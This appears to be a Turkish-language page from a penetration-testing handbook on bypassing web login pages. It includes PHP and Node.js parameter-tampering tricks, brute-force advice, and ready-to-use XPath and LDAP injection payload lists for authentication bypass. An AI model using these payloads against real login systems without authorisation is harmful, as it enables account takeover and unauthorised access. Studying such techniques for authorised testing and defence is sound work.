# Giriş Atlatma {{#include ../../banners/hacktricks-training.md}} ## **Normal girişi atlatma** Bir giriş sayfası bulursanız, bunu atlatmak için deneyebileceğiniz bazı teknikler burada: - Sayfa içindeki **yorumları** kontrol edin (aşağı kaydırın ve sağa mı?) - **Kısıtlı sayfalara doğrudan erişip erişemeyeceğinizi** kontrol edin - **Parametreleri göndermemeye** dikkat edin (hiç göndermeyin veya sadece 1 tane gönderin) - **PHP karşılaştırma hatasını** kontrol edin: `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b` - **İçerik türünü json olarak değiştirin** ve json değerleri gönderin (bool true dahil) - POST'un desteklenmediğini belirten bir yanıt alırsanız, **JSON'u gövdeye GET isteği ile** `Content-Type: application/json` ile göndermeyi deneyebilirsiniz - Nodejs potansiyel ayrıştırma hatasını kontrol edin (okuyun [**şunu**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1` - Nodejs bu yükü aşağıdaki gibi bir sorguya dönüştürecektir: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` bu da şifre bitinin her zaman doğru olmasını sağlar. - Eğer bir JSON nesnesi gönderebiliyorsanız, girişi atlatmak için `"password":{"password": 1}` gönderebilirsiniz. - Bu girişi atlatmak için hala **geçerli bir kullanıcı adı bilmeniz ve göndermeniz gerektiğini** unutmayın. - `mysql.createConnection` çağrısında **`"stringifyObjects":true`** seçeneğini eklemek, **`Object` parametre olarak geçirildiğinde tüm beklenmedik davranışları engelleyecektir.** - Kimlik bilgilerini kontrol edin: - Kullanılan teknoloji/platformun [**varsayılan kimlik bilgileri**](../../generic-hacking/brute-force.md#default-credentials) - **Yaygın kombinasyonlar** (root, admin, password, teknolojinin adı, bu şifrelerden biriyle varsayılan kullanıcı). - **Cewl** kullanarak bir sözlük oluşturun, **varsayılan** kullanıcı adı ve şifreyi (varsa) ekleyin ve tüm kelimeleri **kullanıcı adı ve şifre** olarak kullanarak brute-force yapmayı deneyin. - Daha büyük bir **sözlük** kullanarak **brute-force** yapın (**[**Brute force**](../../generic-hacking/brute-force.md#http-post-form)**) ### SQL Enjeksiyonu ile kimlik doğrulama atlatma [Giriş atlatmak için **SQL enjeksiyonları** ile ilgili birkaç hile bulabilirsiniz](../sql-injection/#authentication-bypass). Aşağıdaki sayfada **SQL Enjeksiyonları** ile giriş atlatmak için bir **özel liste** bulabilirsiniz: {{#ref}} sql-login-bypass.md {{#endref}} ### NoSQL Enjeksiyonu ile kimlik doğrulama atlatma [Giriş atlatmak için **NoSQL Enjeksiyonları** ile ilgili birkaç hile bulabilirsiniz](../nosql-injection.md#basic-authentication-bypass)**.** NoSQL Enjeksiyonları parametre değerlerini değiştirmeyi gerektirdiğinden, bunları manuel olarak test etmeniz gerekecek. ### XPath Enjeksiyonu ile kimlik doğrulama atlatma [Giriş atlatmak için **XPath Enjeksiyonu** ile ilgili birkaç hile bulabilirsiniz](../xpath-injection.md#authentication-bypass) ``` ' or '1'='1 ' or ''=' ' or 1]%00 ' or /* or ' ' or "a" or ' ' or 1 or ' ' or true() or ' 'or string-length(name(.))<10 or' 'or contains(name,'adm') or' 'or contains(.,'adm') or' 'or position()=2 or' admin' or ' admin' or '1'='2 ``` ### LDAP Enjeksiyonu ile kimlik doğrulama atlatma [Burada **LDAP Enjeksiyonu** ile giriş atlatmak için birkaç hile bulabilirsiniz.](../ldap-injection.md#login-bypass) ``` * *)(& *)(|(& pwd) *)(|(* *))%00 admin)(&) pwd admin)(!(&(| pwd)) admin))(|(| ``` ### Beni Hatırla Eğer sayfada "**Beni Hatırla**" işlevi varsa, nasıl uygulandığını kontrol edin ve bunu **diğer hesapları ele geçirmek** için kötüye kullanıp kullanamayacağınıza bakın. ### Yönlendirmeler Sayfalar genellikle giriş yaptıktan sonra kullanıcıları yönlendirir, bu yönlendirmeyi değiştirip [**Açık Yönlendirme**](../open-redirect.md) oluşturup oluşturamayacağınızı kontrol edin. Kullanıcıyı kendi web sitenize yönlendirirseniz bazı bilgileri (kodlar, çerezler...) çalabilirsiniz. ## Diğer Kontroller - Giriş işlevini kötüye kullanarak **kullanıcı adlarını** **numaralandırıp** numaralandıramayacağınızı kontrol edin. - Şifre/**hassas** bilgiler **formları** için **otomatik tamamlama** özelliğinin aktif olup olmadığını kontrol edin: `` ## Otomatik Araçlar - [HTLogin](https://github.com/akinerkisa/HTLogin) {{#include ../../banners/hacktricks-training.md}}